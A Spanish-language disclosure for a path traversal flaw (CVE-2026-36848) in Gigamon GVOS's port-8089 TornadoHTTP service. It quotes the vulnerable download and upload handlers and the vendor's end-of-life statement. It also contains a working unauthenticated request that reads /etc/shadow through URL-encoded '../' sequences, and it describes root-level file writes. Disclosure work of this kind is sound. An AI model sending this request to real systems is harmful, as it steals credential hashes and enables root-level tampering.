
Exploit de prueba de concepto para CVE-2026-36848, una vulnerabilidad de path traversal en los dispositivos Gigamon GVOS que permite la lectura remota de archivos no autenticada y la escritura parcial con privilegios de root a través del servicio TornadoHTTP en el puerto 8089.
Se identificó una vulnerabilidad crítica de path traversal en el motor de gestión basado en web en el puerto 8089 de los dispositivos Gigamon-VUE OS (GVOS). Esta falla existe en el subsistema H-VUE heredado dentro del demonio persistd y permite que un atacante remoto no autenticado con acceso a la red del servicio lea archivos arbitrarios y realice operaciones de escritura parcial (no es posible sobrescribir archivos existentes) en el sistema con privilegios de root.
/opt/tms/persistd_py/persistd.pyroot)El servicio web TornadoHTTP que se ejecuta en el puerto 8089 implementa una configuración de enrutamiento mapeada dentro de . Este demonio expone varias rutas para manejar interacciones con la base de datos y copias de seguridad de configuración:
/opt/tms/persistd_py/persistd.pyapp = tornado.web.Application([
(r"/upload(?:/([^/]*))/?", UploadDbFile),
(r"/download/([^/]+)/?", DownloadDbFile),
# ... other routes
])
Los manejadores DownloadDbFile y UploadDbFile consumen directamente las rutas proporcionadas por el usuario desde los grupos de captura de expresiones regulares de la URI y las pasan sin filtrar a las funciones de utilidad de nivel inferior.
Cuando un cliente solicita la descarga de un archivo, el manejador GET invoca la utilidad download_file:
class DownloadDbFile(GenericApiHandler):
@gen.coroutine
def get(self, file_name):
# ... [validation steps skipped for clarity] ...
elif file_name is not None:
msgif = yield download_file(self, file_name)
La función objetivo subyacente download_file intenta abrir el archivo solicitado utilizando una concatenación de cadenas ingenua en lugar de resolver una ruta canónica segura:
@gen.coroutine
def download_file(caller, file_name):
buf_size = 4096
caller.set_header('Content-Type', 'application/octet-stream')
caller.set_header('Content-Disposition', 'filename=' + file_name)
msg = 'ok'
try:
# Root Cause: Direct concatenation enables directory breakout via traversal sequences
with open(DBFILE_DIR + file_name, 'r') as f:
while True:
data = f.read(buf_size)
if not data:
break
caller.write(data)
except IOError as ioe:
msg = ioe
raise gen.Return(msg)
Debido a que no hay filtrado de validación (por ejemplo, comprobación de secuencias de path traversal como ..), cualquier secuencia de ruta relativa inyectada a través de file_name se concatena directamente en DBFILE_DIR y se resuelve en relación con la raíz del sistema.
De manera similar, el manejador PUT utilizado para la subida de bases de datos pasa el cuerpo de la solicitud y la ruta definida por el usuario directamente a la utilidad upload_file:
class UploadDbFile(GenericApiHandler):
@gen.coroutine
def put(self, path=None):
# ...
if path is not None:
msgif = yield upload_file(self.request.body, path)
La rutina upload_file utiliza os.path.join para determinar la ruta de destino. Sin embargo, una idea errónea común sobre seguridad es que os.path.join protege contra path traversal. En realidad, si un componente pasado a os.path.join representa una ruta absoluta o contiene pasos de traversal relativos, la ruta resuelta escapará del directorio base:
@gen.coroutine
def upload_file(body, path):
msg = 'ok'
tmp_path = None
try:
yield lock.acquire()
# Vulnerable Sink 1: os.path.join does not neutralize directory traversal sequences
full_path = os.path.join(DBFILE_DIR, path)
if os.path.exists(full_path):
msg = 'dup'
else:
tmp_path = full_path + '.tmp'
old_files = filesInDir(DBFILE_DIR)
with open(tmp_path, 'wb') as out:
out.write(bytes(body))
# Vulnerable Sink 2: rename operation performs unsafe string concatenation
os.rename(tmp_path, DBFILE_DIR + path)
Esta falta estructural de sanitización de entrada permite que un atacante suministre una ruta que contenga pasos de traversal, permitiendo que el servicio escriba archivos arbitrarios fuera de los límites de DBFILE_DIR con los permisos del contexto de usuario root que ejecuta el demonio.
Si un atacante codifica en URL los separadores de ruta (/ como %2F), el motor de enrutamiento decodifica y evalúa la secuencia sin problemas, evitando las restricciones de ruta estándar.
GET /download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow HTTP/1.1
Host: <target_ip>:8089
Accept: /
A continuación se muestra la declaración oficial y la guía de actualización proporcionada por el proveedor con respecto a esta vulnerabilidad:
El problema en este CVE estaba presente solo en el subsistema H-VUE. La versión 6 de GVOS eliminó el subsistema H-VUE por completo, siendo GVOS 5.16.1 la última versión que lo incorporó. La versión 5.16.1 llegó al final de su soporte el 26 de mayo de 2023. Ninguna versión de GVOS actualmente compatible contiene esta vulnerabilidad.
La matriz de soporte para GVOS, que documenta las versiones compatibles y las fechas de finalización del soporte, se puede encontrar aquí:
https://www.gigamon.com/content/dam/customer-portal/MS-Software-Versions-7181.pdfLa política de fin de venta y fin de vida útil de Gigamon se puede encontrar aquí:
https://www.gigamon.com/support/policies/eol-policy.htmlNingún entorno de producción de Gigamon debería ejecutar una versión de software no compatible (NIST SP 800-53 SA-22 "Componentes del sistema no compatibles"). Si lo está haciendo, Gigamon recomienda encarecidamente actualizar a una versión compatible lo antes posible. Los clientes con soporte pueden obtener versiones actualizadas de GVOS desde el portal comunitario de Gigamon. Se pide a los clientes sin soporte que se pongan en contacto con Gigamon para discutir las opciones de soporte:
https://www.gigamon.com/contact-sales.html
Nos gustaría expresar nuestro agradecimiento a los equipos de Seguridad de Producto e Ingeniería de Gigamon por su ejemplar coordinación durante este proceso de divulgación.